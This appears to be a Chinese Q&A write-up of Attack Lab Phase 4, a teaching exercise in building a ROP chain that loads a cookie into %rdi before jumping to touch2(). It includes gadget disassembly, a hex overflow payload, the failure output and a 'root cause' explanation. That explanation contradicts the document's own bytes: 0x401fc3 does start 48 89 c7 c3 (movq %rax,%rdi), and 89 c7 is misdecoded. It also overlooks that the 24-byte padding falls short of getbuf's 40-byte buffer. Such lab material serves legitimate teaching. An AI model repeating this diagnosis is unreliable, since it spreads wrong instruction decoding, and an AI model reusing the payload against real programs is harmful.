Attack Lab Phase4:ROP攻击中rdi未正确获取cookie值的问题
ROP缓冲区溢出攻击Phase4问题排查
核心目标
通过ROP技术组合gadget,将指定cookie值传入touch2()函数的%rdi寄存器,完成Phase4实验要求。计划使用的gadget序列为:
popq %rax movq %rax, %rdi ret
已定位的Gadget
从目标程序中提取了两个函数的汇编代码,尝试从中拆分所需gadget:
0000000000401f91 <addval_168>: 401f91: f3 0f 1e fa endbr64 401f95: 8d 87 0d 92 58 90 lea -0x6fa76df3(%rdi),%eax 401f9b: c3 retq
使用地址0x401f99对应指令:popq %rax
0000000000401fbd <addval_217>: 401fbd: f3 0f 1e fa endbr64 401fc1: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 401fc7: c3 retq
错误认为地址0x401fc3对应指令序列:movq %rax, %rdi; ret;
构造的Payload
按照预期gadget序列构造的payload如下:
00 00 00 00 00 00 00 00 # 缓冲区溢出填充(Padding) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 1f 40 00 00 00 00 00 # 第一个gadget: popq %rax 10 76 a6 11 00 00 00 00 # Cookie值,将被弹出到%rax c3 1f 40 00 00 00 00 00 # 第二个gadget: movq %rax, %rdi 9d 1d 40 00 00 00 00 00 # 目标函数: touch2
错误现象
执行payload后得到错误结果:
ylx739:tesla22 ~/attack/target72> ./rtarget < phase4-raw.txt ./rtarget: /lib64/libcurl.so.4: no version information available (required by ./rtarget) Cookie: 0x11a67610 Type string:Misfire: You called touch2(0x00000001) FAILED
通过GDB调试确认:Gets()执行后栈内容完全符合输入,但进入touch2()时,%rdi的值为随机地址0x7ffff7b389c0,而非预期的cookie值0x11a67610。
补充关键函数汇编
touch2函数
0000000000401d9d <touch2>: 401d9d: f3 0f 1e fa endbr64 401da1: 50 push %rax 401da2: 58 pop %rax 401da3: 48 83 ec 08 sub $0x8,%rsp 401da7: 89 fa mov %edi,%edx 401da9: c7 05 49 37 00 00 02 movl $0x2,0x3749(%rip) # 4054fc <vlevel> 401db0: 00 00 00 401db3: 39 3d 4b 37 00 00 cmp %edi,0x374b(%rip) # 405504 <cookie> 401db9: 74 2a je 401de5 <touch2+0x48> 401dbb: 48 8d 35 e6 14 00 00 lea 0x14e6(%rip),%rsi # 4032a8 <_IO_stdin_used+0x2a8>
getbuf函数
(gdb) disas getbuf Dump of assembler code for function getbuf: 0x0000000000401d4f <+0>: endbr64 0x0000000000401d53 <+4>: sub $0x28,%rsp 0x0000000000401d57 <+8>: mov %rsp,%rdi 0x0000000000401d5a <+11>: callq 0x4021e7 <Gets> 0x0000000000401d5f <+16>: mov $0x1,%eax 0x0000000000401d64 <+21>: add $0x28,%rsp 0x0000000000401d68 <+25>: retq End of assembler dump.
问题根源与解决方案
问题根源
错误识别了第二个gadget的指令:addval_217函数中0x401fc1处的lea指令机器码为8d 87 48 89 c7 c3,从0x401fc3开始的字节是89 c7 c3,对应的指令是:
mov %edi, %edi # 89 c7 ret # c3
这只是一个无意义的32位寄存器复制指令,根本不存在movq %rax, %rdi的操作,因此%rax中的cookie值从未被传入%rdi,导致touch2()读取到的是未初始化的随机值。
解决方案
- 重新寻找正确的gadget:查找包含
movq %rax, %rdi; ret的指令序列,对应的机器码应为48 89 c7 c3。 - 替换gadget组合:直接寻找
popq %rdi; ret的gadget,简化payload结构:- 构造payload时,在覆盖返回地址的位置先放入
popq %rdi的gadget地址 - 紧跟放入cookie值
- 最后放入
touch2()的地址
这样执行时,popq %rdi会直接把cookie值加载到%rdi寄存器,随后调用touch2()即可完成目标。
- 构造payload时,在覆盖返回地址的位置先放入
内容的提问来源于stack exchange,提问作者Ian Burns
相关产品推荐
相关产品推荐

